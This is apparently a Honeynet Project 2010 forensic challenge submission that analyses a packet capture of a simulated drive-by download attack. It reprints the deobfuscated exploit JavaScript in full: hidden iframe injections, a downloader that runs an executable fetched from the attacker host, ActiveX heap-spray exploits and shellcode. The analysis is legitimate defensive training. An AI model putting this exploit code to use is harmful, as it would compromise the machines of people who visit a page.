

Challenge 2: Browsers under attack (intermediate)

Submission Template

Submit your solution at <http://www.honeynet.org/challenge2010/> by 17:00 EST, Monday, March 1st 2010. Results will be released on Monday, March 15th 2010.

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Country (optional): Italy	Profession (optional): <input type="checkbox"/> Student <input checked="" type="checkbox"/> Security Professional <input type="checkbox"/> Other

Question 1. List the protocols found in the capture. What protocol do you think the attack is/are based on?	Possible Points: 2pts
Tools Used: Wireshark	
Awarded Points:	
Capture shows lots of protocols. Lower level: IP, ARP, ICMP, UDP, TCP, IGMP. Higher level: DHCP, HTTP, NetBIOS, DNS. Following analysis suggest that protocol used in attacks is HTTP/TCP.	

Question 2. List IPs, hosts names / domain names. What can you tell about it - extrapolate?	Possible Points: 4pts
Tools Used: Wireshark, whois, dig, host	
Apparently, there are a lot of IP involved, but at a closer look we can group in few categories: <ul style="list-style-type: none"> • Victims: 10.0.2.15, 10.0.3.15, 10.0.4.15, 10.0.5.15 • Attacker: 192.168.56.52 (hostname: sploitme.com.cn) • Services: 10.0.2.2, 10.0.3.2, 10.0.4.2, 10.0.5.2 (DHCP servers and gateways); 192.168.1.1 (DNS); • simulated hacked hosts: 192.168.56.51 (hostname: shop.honeynet.sg), 192.168.56.50 (hostname: rapidshare.com.eyu32.ru), • External hosts: www.honeynet.org, www.google.com, www.google.fr, www.google-analytics.com Victims and DHCP IP addresses are identical to addresses used by QEMU virtual network environment, and the same suggests MAC addresses of DHCP and gateway, so, with good confidence, we can say that victims are honeypots. Attackers IP addresses are private (rfc1918), and their hostname doesn't exists on Internet, so we can assume that even attackers are simulated. An exception came from shop.honeynet.sg (203.117.131.40), that exists in Internet, but in the capture it is never contacted, every request go to an internal host (192.168.56.51).	

Question 3. List all the web pages. List those visited containing suspect and possibly malicious javascript and who's is connecting to it? Briefly describe the nature of the malicious web pages	Possible Points: 6pts
Tools Used: Wireshark, Vim, Firefox	
<p>Web pages visited are:</p> <ol style="list-style-type: none"> 1. rapidshare.com.eyu32.ru/login.php Page contains obfuscated Javascript code that loads page [2] into an <IFRAME> (apparently a simulated hacked website) 2. sploitme.com.cn/?click=3feb5a6b2f it is a redirect page, via HTTP response code 302 FOUND to page [3] 3. sploitme.com.cn/fg/show.php?s=3feb5a6b2f a fake 404 page, with another Javascript fragment, that change according to browser user agent visiting page. 4. sploitme.com.cn/fg/load.php?e=1 a get to this url give an executable for Windows (video.exe) that loads URL [5] 5. www.honeynet.org/ 6. www.google.com/ 7. www.google.fr/ 8. www.google.fr/generate_204 9. shop.honeynet.sg/catalog/ page with obfuscated fragment of Javascript code that load URL [10] into an <IFRAME> (apparently a simulated hacked website) 10. sploitme.com.cn/?click=84c090bd86 same as [2], but redirects to [11] 11. sploitme.com.cn/fg/show.php?s=84c090bd86 This page contains a malicious Javascript code, deeply obfuscated, that tries to exploits through various vulnerable ActiveX controls (there is a list of target CLSID), a vulnerable AOL-branded WinAmp radio player, a vulnerable directshow control, a problem in Microsoft Outlook Address book file parsing (.wab), a vulnerability of Office Web component OWC10.Spreadsheet ActiveX. More details follows. 12. sploitme.com.cn/fg/directshow.php This page give a fake JPG image that exploits a vulnerability in Microsoft Video ActiveX Control, in the 'MPEG2TuneRequest' object through malformed data, used by script in page [11]. 13. sploitme.com.cn/fg/load.php?e=3 same as [4] 14. sploitme.com.cn/fg/show.php same as [3] 15. www.google-analytics.com <p>There are three category of malicious web pages:</p> <ol style="list-style-type: none"> 1. hacked web site with Javascript injected code (pages [1], [9]) that force browser to visit other web site 2. active attack web page (URL [3], [11], [14], same web page sploitme.com.cn/fg/show.php), that check visitors' browser user agent and IP geolocation to choose if doing an attack and what kind of attack. 3. Service pages: root page of sploitme.com.cn/ (doing a redirect via header 302 FOUND); page sploitme.com.cn/fg/load.php (to get malware executable, selected from URL parameter 'e'); page sploitme.com.cn/fg/directshow.php (to get specially crafted files, to exploit some vulnerabilities, i.e. a fake JPG file) 	

Question 4. Can you sketch an overview of the general actions performed by the attackers?	Possible Points: 2pts
Tools Used: Wireshark, vim, firefox	
<p>In real world, attackers inject malicious javascript in vulnerable websites, using XSS, RFI or whatever. Javascript code is deeply obfuscated, and work silently, using IFRAMEs, CSS instructions and so on to hide changes in web pages. Visitors that view these pages first get redirected to a “active” analysis and attacking host (sploitme.com.cc) that provides first a redirect, through a 302 FOUND header, to a fake 404 page (i.e. the real HTTP response code is 200 OK, but page says “404 not found”, see pkt#63,174,366). In that page there is a server side code that checks for browser user agents, and emits another deeply obfuscated Javascript code that tries various exploits to execute code in victim's machine, without requiring user action.</p> <p>There is an evidence in the capture (pkt#299 to pkt#366) that shows the ability to detect country of visitors, probably through GeoIP, and select visitors only from (or exclude from) a country to apply for malicious web pages. Evidence is that Google redirects visitors that ask for www.google.com to a nearest server, with appropriate language. In the capture there is a visit to Google that redirect visitor to www.google.fr and the visit that occur immediately after, to simulated hacked website (the simulated RapidShare) that redirect browser to malicious web site (sploitme.com.cn), it gets a harmless page, that not contains any Javascript at all (pkt#366).</p>	

Question 5. What steps are taken to slow the analysis down?	Possible Points: 2pts
Tools Used: Vim, Wireshark	
<p>Hacked web pages contains Javascript code that is obfuscated and easily go unnoticed, even for regular webmaster. Attacks are made without opening new windows or popups, so at a normal visitor, even if notice the attack, it seems conducted by hacked website.</p> <p>Attack coming from another host, that never appear in normal code, but only in obfuscated one, so it is impossible to know it, without decode Javascript code.</p> <p>Even if someone decode the Javascript, and go on attacker's host, it will see a 404 page, a fake with other Javascript code, deeply obfuscated.</p> <p>So, one step is to slow down the discover of malicious code injected in hacked web pages (obfuscation, iframes, CSS style “visibility:hidden”), one to slow down the identification of the source of attacks (obfuscation, fake 404 pages, encoded urls) and finally a deeply obfuscation of real Javascript exploit code, that slow down analysis at all. One more step is that shellcode in Javascript is coded with Unicode escape sequence (%u) and it is not trivial to extract the real binary code of shellcodes.</p> <p>Another step can be the check made on browser user agent: who use other operating systems or browsers (like most Security professionals) gets only harmless code.</p>	

Question 6. Provide the javascripts from the pages identified in the previous question. Decode/deobfuscate them too.	Possible Points: 8pts
Tools Used: Wireshark, Vim	
Page: rapidshare.com.eyu32.ru/login.php (pkt#28,#128,#338)	
Code:	
<pre>eval(function(p,a,c,k,e,r){e=function(c){return(c<a?'':e(parseInt(c/a)))+(c=c%a)>35?String.fromCharCode(c+29):c.toString(36)};if(!''.replace(/^/,String)){while(c--)r[e(c)]=k[c] e(c);k=[function(e){return r[e]};e=function(){return'\\w+'};c=1};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p}('q.r(s("%h%0%6%d%e%7%1%8%9%d%3%4%a%5%2%2%i%j%b%b%9%i%c%k%0%2%7%1%l%3%k%7%l%3%a%b%t%3%c%0%3%u%4%v%6%1%f%w%e%x%f%y%6%a%z%0%g%2%5%4%n%8%5%1%0%A%5%2%4%n%8%9%2%o%c%1%4%a%B%0%9%0%f%0%c%0%2%o%j%8%5%0%g%g%1%a%p%h%b%0%6%d%e%7%1%p%C"))';,39,39,'69 65 74 63 3D 68 66 6D 20 73 22 2F 6C 72 61 62 64 3C 70 3A 6F 2E 6E 31 79 3E document write unescape 3F 6B 33 35 36 32 77 67 76 </pre>	

```
0A'.split('|'),0,{}));
```

Deobfuscated:

```
document.write(unescape("%3C%69%66%72%61%6D%65%20%73%72%63%3D%22%68%74%74%70%3A%2F%2F%73%70%6C%6F%69%74%6D%65%2E%63%6F%6D%2E%63%6E%2F%3F%63%6C%69%63%6B%3D%33%66%65%62%35%61%36%62%32%66%22%77%69%64%74%68%3D%31%20%68%65%69%67%68%74%3D%31%20%73%74%79%6C%65%3D%22%76%69%73%69%62%69%6C%69%74%79%3A%20%68%69%64%64%65%6E%22%3E%3C%2F%69%66%72%61%6D%65%3E%0A"));
```

2nd Deobfuscation:

```
<iframe src="http://sploitme.com.cn/?click=3feb5a6b2f"width=1 height=1 style="visibility: hidden"></iframe>
```

Page: sploitme.com.cn/fg/show.php with parameter s=3feb5a6b2f, Windows XP, language en-us and Firefox User Agent (pkt#63)

Code:

```
var
CRYPT={signature:'CGerjg56R',_keyStr:'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/',decode:function(input){var output='';var chr1,chr2,chr3;var enc1,enc2,enc3,enc4;var i=0;input=input.replace(/[^A-Za-z0-9\+\=\\/\=]/g, '');while(i<input.length){enc1=this._keyStr.indexOf(input.charAt(i+));enc2=this._keyStr.indexOf(input.charAt(i+));enc3=this._keyStr.indexOf(input.charAt(i+));enc4=this._keyStr.indexOf(input.charAt(i+));chr1=(enc1<<2)|(enc2>>4);chr2=((enc2&15)<<4)|(enc3>>2);chr3=((enc3&3)<<6)|enc4;output=output+String.fromCharCode(chr1);if(enc3!=64){output=output+String.fromCharCode(chr2);}}if(enc4!=64){output=output+String.fromCharCode(chr3);}}
output=CRYPT._utf8_decode(output);return output;},_utf8_decode:function(utftext){var string='';var i=0;var c=0,c1=0,c2=0,c3=0;while(i<utftext.length){c=utftext.charCodeAt(i);if(c<128){string+=String.fromCharCode(c);i++;}else if((c>191)&&(c<224)){c2=utftext.charCodeAt(i+1);string+=String.fromCharCode(((c&31)<<6)|(c2&63));i+=2;}else{c2=utftext.charCodeAt(i+1);c3=utftext.charCodeAt(i+2);string+=String.fromCharCode(((c&15)<<12)|((c2&63)<<6)|(c3&63));i+=3;}}return string;},obfuscate:function(str){var container='';for(var i=0,z=0;i<str.length;i=i+3,z++){container+=String.fromCharCode(str.substring(i,i+3)-this.signature.substring(z%this.signature.length,z%this.signature.length+1).charCodeAt(0));}return CRYPT.decode(container);}}
eval(CRYPT.obfuscate('1571811872311951541351661801171232041951561601691531531871792011851912141281421981891611891961912001401031901651221871621811701531691801171492052141772111711521871201822002231922121261221301701442101842112011041401301461801752291951901061681561881902221911741681721291661831281682231961521511631601151681881712231761221321931571581792281891891181651571551871512031941761561531911531911812011591521511252011221711731881592041041281901661551502311961911521571631541491492111941931611411511241761982231922091531211851721551891921582011401732031431792051921901721571391681371362061891902191101431321371191901642092141431371901221711731881592041041281901661551502311961911521571631541491492111941931611411511241761982231922091531211851721551882221220216211120416512119116218221115713216613617518620017616815812916618312819016417615114210418517816118422216120312512813516812217522220518710217117215517020420117515213013715414911920018418021115214216817517015219521717
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8137170139156121171162195153156165172150179156216194152110121191175180176186180211
1521381301241692112002212011201622031571591831632052121051591591341441562132151891
7313019112419019120115821412616118213715716818722117615811119115719215823620317411
0105158177137212213174160163144170149173190201218207154122130187145211187163176158
1701601561591832251822131271581801761532192121892061651301531571751991861842111281
3819818816118918322320210314019915713820523120619017316915715118721320421120717414
4170136188200223192225152125139184170151200191193141158130147155149219183186126166
1831181452092141781891741521871331192002241922111321051311751691731922142041041281
9016714318723520420811916317115419122320419021911015616317913919916415522215112516
8115161184217218182172115143' ));
```

Deobfuscated:

```
function Complete(){setTimeout('location.href = "about:blank",2000);}
function CheckIP(){var req=null;try{req=new
ActiveXObject("Msxml2.XMLHTTP");}catch(e){try{req=new
ActiveXObject("Microsoft.XMLHTTP");}catch(e){try{req=new
XMLHttpRequest();}catch(e){}}
if(req==null)return"0";req.open("GET","/fg/show.php?
get_ajax=1&r="+Math.random(),false);req.send(null);if(req.responseText=="1")
{return true;}else{return false;}}
Complete();
```

Page: sploitme.com.cn/fg/show.php with parameter s=3feb5a6b2f, Windows XP SP2 or later, language en-us and Internet Explorer 6 (pkt#174)

Code:

```
var
CRYPT={signature:'CGerjg56R',_keyStr:'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/',
decode:function(input){var output='';var chr1,chr2,chr3;var
enc1,enc2,enc3,enc4;var i=0;input=input.replace(/[^\A-Za-z0-9\+\=\&\/\=]/g,'');while(i<input.length){enc1=this._keyStr.indexOf(input.charAt(i+
+));enc2=this._keyStr.indexOf(input.charAt(i+
+));enc3=this._keyStr.indexOf(input.charAt(i+
+));enc4=this._keyStr.indexOf(input.charAt(i++));chr1=(enc1<<2)|
(enc2>>4);chr2=((enc2&15)<<4)|(enc3>>2);chr3=((enc3&3)<<6)|
enc4;output=output+String.fromCharCode(chr1);if(enc3!=64)
{output=output+String.fromCharCode(chr2);}
if(enc4!=64){output=output+String.fromCharCode(chr3);}}
output=CRYPT._utf8_decode(output);return output;},_utf8_decode:function(utftext)
{var string='';var i=0;var c=0,c1=0,c2=0,c3=0;while(i<utftext.length)
{c=utftext.charCodeAt(i);if(c<128){string+=String.fromCharCode(c);i++;}else
if((c>191)&&(c<224))
{c2=utftext.charCodeAt(i+1);string+=String.fromCharCode(((c&31)<<6)|
(c2&63));i+=2;}else{c2=utftext.charCodeAt(i+1);c3=utftext.charCodeAt(i+2);string+=
String.fromCharCode(((c&15)<<12)|((c2&63)<<6)|(c3&63));i+=3;}}
return string;},obfuscate:function(str){var container='';for(var
i=0,z=0;i<str.length;i=i+3,z++)
{container+=String.fromCharCode(str.substring(i,i+3)-this.signature.substring(z
%this.signature.length,z%this.signature.length+1).charCodeAt(0));}
return CRYPT.decode(container);}}
eval(CRYPT.obfuscate('157181187231195154135166180117123204195156160169153153187179
2011851912141281421981891611891961912001401031901651221871621811701531691801171492
0521417721117115218712018220022319221212612213017014421018421120110414013014618017
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5229195190106168156188190222191174168172129166183128168223196152151163160115168188
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0115915215112520112217117318815920410412819016615515023119619115215716315414914921
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1901721571391681371362061891902191101431321371191901642092141431371901221711731881
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1701601561591832251822131271581801761532192121892061651301531571751991861842111281
3819818816118918322320210314019915713820523120619017316915715118721320421120717414
4170136188200223192225152125139184170151200191193141158130147155149219183186126166
1831181452092141781891741521871331192002241922111321051311751691731922142041041281
9016714318723520420811916317115419122320419021911015616317912119020217920615314215
6182171172171215200140174190147154201225206175135173161172127219213157169168152132
1751191992011912201421041391831472101922231791031441921431212212321951901341711811
3817522019415618811013116516612620122317622412612517217916917220022319214010319014
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8206211215189159154149171188176202155209142142164173168168218214178141170139134180
2092231811701231751571551871492132162111081531881161891772211842241431411521151611
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620222160155135194179161206217210202158162137167143175167207154126111180188124169
2132151891571541531531511902232182111421051631781692062332161771741731921411922091
7119515312310217111717421220418921110815617011514619820119521412614215517917215219
6227204141170203147158157231188153139102166117145214204193181101129149166181177185
1582151551411601711711721922171781241391941681221501711732121611631571341412221891
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2170152164157155120207203194185159151149171179176202222160155135194179161206217210
2021581621371671431751672071541261111801881241732041941851331431911791791901651872
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9222204212134165180177157216212173210108154191137192174185196215151125168173169151
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1981812102111281421981241731822262181781741691371691522131822041531021731801381571
49204189206165133133115146199201188207142175185179150220175167'));

Deobfuscated:

```
function Complete(){setTimeout('location.href = "about:blank",2000);}
function CheckIP(){var req=null;try{req=new
ActiveXObject("Msxml2.XMLHTTP");}catch(e){try{req=new
ActiveXObject("Microsoft.XMLHTTP");}catch(e){try{req=new
XMLHttpRequest();}catch(e){}}}
if(req==null)return"0";req.open("GET","/fg/show.php?
get_ajax=1&r="+Math.random(),false);req.send(null);if(req.responseText=="1")
{return true;}else{return false;}}
var urltofile='http://sploitme.com.cn/fg/load.php?e=1';var
filename='update.exe';function Create0(o,n){var
r=null;try{r=o.CreateObject(n)}catch(e){}
if(!r){try{r=o.CreateObject(n,'')}catch(e){}}
if(!r){try{r=o.CreateObject(n,',')}catch(e){}}
if(!r){try{r=o.GetObject(',n')}catch(e){}}
if(!r){try{r=o.GetObject(n,'')}catch(e){}}
if(!r){try{r=o.GetObject(n)}catch(e){}}
return r;}
function Go(a){var s=Create0(a,'WScript.Shell');var
o=Create0(a,'ADODB.Stream');var e=s.Environment('Process');var xhr=null;var
bin=e.Item('TEMP')+'\\'+filename;try{xhr=new XMLHttpRequest();}
catch(e){try{xhr=new ActiveXObject('Microsoft.XMLHTTP');}
catch(e){xhr=new ActiveXObject('MSXML2.ServerXMLHTTP');}}
if(!xhr)return(0);xhr.open('GET',urltofile,false)
xhr.send(null);var
filecontent=xhr.responseBody;o.Type=1;o.Mode=3;o.Open();o.Write(filecontent);o.Sav
eToFile(bin,2);s.Run(bin,0);}
function mdac(){var i=0;var objects=new Array('{BD96C556-65A3-11D0-983A-
00C04FC29E36}','{BD96C556-65A3-11D0-983A-00C04FC29E36}','{AB9BCEDD-EC7E-47E1-9322-
D4A210617116}','{0006F033-0000-0000-C000-000000000046}','{0006F03A-0000-0000-C000-
000000000046}','{6e32070a-766d-4ee6-879c-dc1fa91d2fc3}','{6414512B-B978-451D-A0D8-
FCDF33E833C}','{7F5B7F63-F06F-4331-8A26-339E03C0AE3D}','{06723E09-F4C2-43c8-8358-
09FCD1DB0766}','{639F725F-1B2D-4831-A9FD-874847682010}','{BA018599-1DB3-44f9-83B4-
461454C84BF8}','{D0C07D56-7C69-43F1-B4A0-25F5A11FAB19}','{E8CCDDDF-CA28-496b-B050-
6C07C962476B}',null);while(objects[i]){var
a=null;if(objects[i].substring(0,1)=='{')
{a=document.createElement('object');a.setAttribute('classid','clsid:'+objects[i].s
ubstring(1,objects[i].length-1);}else{try{a=new
ActiveXObject(objects[i]);}catch(e){}}
if(a){try{var b=Create0(a,'WScript.Shell');if(b){if(Go(a)){if(CheckIP())
{Complete();}else{Complete();}
return true;}}}catch(e){}}
i++;}
Complete();}
mdac();
```

Page: shop.honeynet.sg/catalog/ with Windows XP SP2 or later, language en-us and Internet Explorer 6 (pkt#415)

Code:

```
var s="=jgsbnf!tsd>#iuuq;00tqmpjunf/dpn/do0@dmjdl>95d1:lce97#!xjeui>2!ifjhiu>2!
tuzmf>#wjtjcmjuz;!ijeefo#?=0jgsbnf?";m="";for(i=0;i<s.length;i++)
{if(s.charCodeAt(i)==28){m+="&";}else if(s.charCodeAt(i)==23){m+=
```



```
"!";}else{m+=String.fromCharCode(s.charCodeAt(i)-1);}document.write(m);
```

Deobfuscated:

```
<iframe src="http://sploitme.com.cn/?click=84c090bd86" width=1 height=1
style="visibility: hidden"></iframe>
```

Page: sploitme.com.cn/fg/show.php with parameter s=84c090bd86, Windows XP SP2 or later, Internet Explorer 6 user agent (pkt#496)

Code:

```
var
CRYPT={signature:'CGerjg56R',_keyStr:'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/',decode:function(input){var output='';var chr1,chr2,chr3;var
enc1,enc2,enc3,enc4;var i=0;input=input.replace(/[^\A-Za-z0-9\+\=\&\/\=\]/g,'');while(i<input.length){enc1=this._keyStr.indexOf(input.charAt(i+
+));enc2=this._keyStr.indexOf(input.charAt(i+
+));enc3=this._keyStr.indexOf(input.charAt(i+
+));enc4=this._keyStr.indexOf(input.charAt(i++));chr1=(enc1<<2)|
(enc2>>4);chr2=((enc2&15)<<4)|(enc3>>2);chr3=((enc3&3)<<6)|
enc4;output=output+String.fromCharCode(chr1);if(enc3!=64)
{output=output+String.fromCharCode(chr2);}
if(enc4!=64){output=output+String.fromCharCode(chr3);}}
output=CRYPT._utf8_decode(output);return output;},_utf8_decode:function(utf8text)
{var string='';var i=0;var c=0,c1=0,c2=0,c3=0;while(i<utf8text.length)
{c=utf8text.charCodeAt(i);if(c<128){string+=String.fromCharCode(c);i++;}else
if((c>191)&&(c<224))
{c2=utf8text.charCodeAt(i+1);string+=String.fromCharCode(((c&31)<<6)|
(c2&63));i+=2;}else{c2=utf8text.charCodeAt(i+1);c3=utf8text.charCodeAt(i+2);string+=
String.fromCharCode(((c&15)<<12)|((c2&63)<<6)|(c3&63));i+=3;}}
return string;},obfuscate:function(str){var container='';for(var
i=0,z=0;i<str.length;i=i+3,z++)
{container+=String.fromCharCode(str.substring(i,i+3)-this.signature.substring(z
%this.signature.length,z%this.signature.length+1).charCodeAt(0));}
return CRYPT.decode(container);}}
eval(CRYPT.obfuscate('157181187231195154135166180117123204195156160169153153187179
2011851912141281421981891611891961912001401031901651221871621811701531691801171492
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```

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6015121721719313616213716915914918918715311017018113819120921417718816412916618312
8168223155210142141159178146185229167' ));

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Deobfuscated:

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function Complete(){setTimeout('location.href = "about:blank",2000);}
function CheckIP(){var req=null;try{req=new
ActiveXObject("Msxml2.XMLHTTP");}catch(e){try{req=new
ActiveXObject("Microsoft.XMLHTTP");}catch(e){try{req=new
XMLHttpRequest();}catch(e){}}
if(req==null)return"0";req.open("GET","/fg/show.php?
get_ajax=1&r="+Math.random(),false);req.send(null);if(req.responseText=="1")
{return true;}else{return false;}}
var urltofile='http://sploitme.com.cn/fg/load.php?e=1';var
filename='update.exe';function Create0(o,n){var
r=null;try{r=o.CreateObject(n)}catch(e){}
if(!r){try{r=o.CreateObject(n,'')}catch(e){}}
if(!r){try{r=o.CreateObject(n,'','')}catch(e){}}
if(!r){try{r=o.GetObject('',n)}catch(e){}}
if(!r){try{r=o.GetObject(n,'')}catch(e){}}
if(!r){try{r=o.GetObject(n)}catch(e){}}
return r;}
function Go(a){var s=Create0(a,'WScript.Shell');var
o=Create0(a,'ADODB.Stream');var e=s.Environment('Process');var xhr=null;var
bin=e.Item('TEMP')+ '\\'+filename;try{xhr=new XMLHttpRequest();}
catch(e){try{xhr=new ActiveXObject('Microsoft.XMLHTTP');}
catch(e){xhr=new ActiveXObject('MSXML2.ServerXMLHTTP');}}
if(!xhr)return(0);xhr.open('GET',urltofile,false)
xhr.send(null);var
filecontent=xhr.responseBody;o.Type=1;o.Mode=3;o.Open();o.Write(filecontent);o.Sav
eToFile(bin,2);s.Run(bin,0);}

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function mdac(){var i=0;var objects=new Array('{BD96C556-65A3-11D0-983A-00C04FC29E36}', '{BD96C556-65A3-11D0-983A-00C04FC29E36}', '{AB9BCEDD-EC7E-47E1-9322-D4A210617116}', '{0006F033-0000-0000-C000-000000000046}', '{0006F03A-0000-0000-C000-000000000046}', '{6e32070a-766d-4ee6-879c-dc1fa91d2fc3}', '{6414512B-B978-451D-A0D8-FCDFD33E833C}', '{7F5B7F63-F06F-4331-8A26-339E03C0AE3D}', '{06723E09-F4C2-43c8-8358-09FCD1DB0766}', '{639F725F-1B2D-4831-A9FD-874847682010}', '{BA018599-1DB3-44f9-83B4-461454C84BF8}', '{D0C07D56-7C69-43F1-B4A0-25F5A11FAB19}', '{E8CCDDDF-CA28-496b-B050-6C07C962476B}', null);while(objects[i]){var a=null;if(objects[i].substring(0,1)==''){a=document.createElement('object');a.setAttribute('classid','clsid:'+objects[i].substring(1,objects[i].length-1));}else{try{a=new ActiveXObject(objects[i]);}catch(e){}}if(a){try{var b=Create0(a,'WScript.Shell');if(b){if(Go(a)){if(CheckIP()){Complete();}else{aolwinamp();}return true;}}}catch(e){}}i++;}aolwinamp();}function aolwinamp(){try{var obj=document.createElement('object');document.body.appendChild(obj);obj.id='IWinAmpActiveX';obj.width='1';obj.height='1';obj.data='./directshow.php';obj.classid='clsid:0955AC62-BF2E-4CBA-A2B9-A63F772D46CF';var shellcode=unescape("%u0033%u8B64%u3040%u0C78%u408B%u8B0C%u1C70%u8BAD%u0858%u09EB%u408B%u8D34%u7C40%u588B%u6A3C%u5A44%uE2D1%uE22B%uEC8B%u4FEB%u525A%uEA83%u8956%u0455%u5756%u738B%u8B3C%u3374%u0378%u56F3%u768B%u0320%u33F3%u49C9%u4150%u33AD%u36FF%uBE0F%u0314%uF238%u0874%uCFC1%u030D%u40FA%uEFEB%u3B58%u75F8%u5EE5%u468B%u0324%u66C3%u0C8B%u8B48%u1C56%uD303%u048B%u038A%u5FC3%u505E%u8DC3%u087D%u5257%u33B8%u8ACA%uE85B%uFFA2%uFFFF%u0C32%uF78B%uAEF2%uB84F%u2E65%u7865%u66AB%u6698%uB0AB%u8A6C%u98E0%u6850%u6E6F%u642E%u7568%u6C72%u546D%u8EB8%u0E4E%uFFEC%u0455%u5093%u0C33%u5050%u8B56%u0455%uC283%u837F%u31C2%u5052%u36B8%u2F1A%uFF70%u0455%u335B%u57FF%uB856%uFE98%u0E8A%u55FF%u5704%uEFB8%uE0CE%uFF60%u0455%u7468%u7074%u2F3A%u732F%u6C70%u696F%u6D74%u2E65%u6F63%u2E6D%u6E63%u662F%u2F67%u6F6C%u6461%u702E%u7068%u653F%u333D");var bigblock=unescape("%u0c0c%u0c0c");var headersize=20;var slackspace=headersize+shellcode.length;while(bigblock.length<slackspace)bigblock+=bigblock;var fillblock=bigblock.substring(0,slackspace);var block=bigblock.substring(0,bigblock.length-slackspace);while(block.length+slackspace<0x40000)block=block+block+fillblock;var memory=new Array();for(var i=0;i<666;i++){memory[i]=block+shellcode;}document.write('<SCRIPT language="VBScript">');document.write('bof=string(1400,unescape("%ff")) + string(1000,unescape("%0c"))');document.write('IWinAmpActiveX.ConvertFile bof,1,1,1,1,1');document.write('IWinAmpActiveX.ConvertFile bof,1,1,1,1,1');document.write('IWinAmpActiveX.ConvertFile bof,1,1,1,1,1');document.write('IWinAmpActiveX.ConvertFile bof,1,1,1,1,1');document.write('</SCRIPT>');}catch(e){}directshow();}function directshow(){var shellcode=unescape("%u0033%u8B64%u3040%u0C78%u408B%u8B0C%u1C70%u8BAD%u0858%u09EB%u408B%u8D34%u7C40%u588B%u6A3C%u5A44%uE2D1%uE22B%uEC8B%u4FEB%u525A%uEA83%u8956%u0455%u5756%u738B%u8B3C%u3374%u0378%u56F3%u768B%u0320%u33F3%u49C9%u4150%u33AD%u36FF%uBE0F%u0314%uF238%u0874%uCFC1%u030D%u40FA%uEFEB%u3B58%u75F8%u5EE5%u468B%u0324%u66C3%u0C8B%u8B48%u1C56%uD303%u048B%u038A%u5FC3%u505E%u8DC3%u087D%u5257%u33B8%u8ACA%uE85B%uFFA2%uFFFF%u0C32%uF78B%uAEF2%uB84F%u2E65%u7865%u66AB%u6698%uB0AB%u8A6C%u98E0%u6850%u6E6F%u642E

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%u7568%u6C72%u546D%u8EB8%u0E4E%uFFEC
%u0455%u5093%u0C033%u5050%u8B56%u0455%u0C283%u837F%u31C2%u5052%u36B8%u2F1A
%uFF70%u0455%u335B%u577F%uB856%uFE98%u0E8A%u55FF%u5704%uEFB8%uE0CE
%uFF60%u0455%u7468%u7074%u2F3A%u732F%u6C70%u696F%u6D74%u2E65%u6F63%u2E6D
%u6E63%u662F%u2F67%u6F6C%u6461%u702E%u7068%u653F%u343D");var
bigblock=unescape("%u9090%u9090");var headersize=20;var
slackspace=headersize+shellcode.length;while(bigblock.length<slackspace)bigblock+=
bigblock;var fillblock=bigblock.substring(0,slackspace);var
block=bigblock.substring(0,bigblock.length-
slackspace);while(block.length+slackspace<0x40000){block=block+block+fillblock;}
var memory=new Array();for(var i=0;i<350;i++){memory[i]=block+shellcode;}
try{var
obj=document.createElement('object');document.body.appendChild(obj);obj.width='1';
obj.height='1';obj.data='./directshow.php';obj.classid='clsid:0955AC62-BF2E-4CBA-
A2B9-A63F772D46CF';setTimeout("if (CheckIP()){ Complete(); } else
{ snapshot(); }",1000);}catch(e){snapshot();}}
function snapshot(){var x;var obj;var mycars=new Array();mycars[0]='c:/Program
Files/Outlook Express/wab.exe';mycars[1]='d:/Program Files/Outlook
Express/wab.exe';mycars[2]='e:/Program Files/Outlook Express/wab.exe';try{var
obj=new ActiveXObject('snpvw.Snapshot Viewer Control.1');}catch(e){try{var
obj=document.createElement('object');obj.setAttribute('classid','clsid:F0E42D50-
368C-11D0-AD81-
00A0C90DC8D9');obj.setAttribute('id','obj');obj.setAttribute('width','1');obj.setA
ttribute('height','1');document.body.appendChild(obj);}catch(e){}}
try{if(obj=['object']){for(x in mycars){obj=new ActiveXObject('snpvw.Snapshot
Viewer Control.1');var
buf=mycars[x];obj.Zoom=0;obj.ShowNavigationButtons=false;obj.AllowContextMenu=fals
e;obj.SnapshotPath='http://sploitme.com.cn/fg/load.php?
e=6';try{obj.CompressedPath=buf;obj.PrintSnapshot();var
snpelement=document.createElement('iframe');snpelement.setAttribute('id','snapifra
me');snpelement.setAttribute('src','about:blank');snpelement.setAttribute('width',
1);snpelement.setAttribute('height',1);snpelement.setAttribute('style','display:no
ne;');document.body.appendChild(snpelement);setTimeout("document.getElementById('s
napiframe').src = 'ldap://';",3000);}catch(e){}}}}catch(e){}
com();}
function com(){try{var
obj=document.createElement('object');document.body.appendChild(obj);obj.setAttribu
te('classid','clsid:EC444CB6-3E7E-4865-B1C3-0DE72EF39B3F');if(obj){var
shcode=unescape("%u0C033%u8B64%u3040%u0C78%u408B%u8B0C%u1C70%u8BAD%u0858%u09EB
%u408B%u8D34%u7C40%u588B%u6A3C%u5A44%uE2D1%uE22B%uEC8B%u4FEB%u525A
%uEA83%u8956%u0455%u5756%u738B%u8B3C%u3374%u0378%u56F3%u768B
%u0320%u33F3%u49C9%u4150%u33AD%u36FF%uBE0F%u0314%uF238%u0874%uCF1%u030D%u40FA
%uEFEB%u3B58%u75F8%u5EE5%u468B%u0324%u66C3%u0C8B%u8B48%u1C56%uD303%u048B%u038A
%u5FC3%u505E%u8DC3%u087D%u5257%u33B8%u8ACA%uE85B%uFFA2%uFFFF%u0C32%uF78B
%uAEF2%uB84F%u2E65%u7865%u66AB%u6698%uB0AB%u8A6C%u98E0%u6850%u6E6F%u642E
%u7568%u6C72%u546D%u8EB8%u0E4E%uFFEC
%u0455%u5093%u0C033%u5050%u8B56%u0455%u0C283%u837F%u31C2%u5052%u36B8%u2F1A
%uFF70%u0455%u335B%u577F%uB856%uFE98%u0E8A%u55FF%u5704%uEFB8%uE0CE
%uFF60%u0455%u7468%u7074%u2F3A%u732F%u6C70%u696F%u6D74%u2E65%u6F63%u2E6D
%u6E63%u662F%u2F67%u6F6C%u6461%u702E%u7068%u653F%u373D");var hbs=0x100000;var
sss=hbs-(shcode.length*2+0x38);var hb=(0x0c0c0c0c-hbs)/hbs;var
myvar=unescape("%u0C0C%u0C0C");var ss=myvar;while(ss.length*2<sss){ss+=ss;}
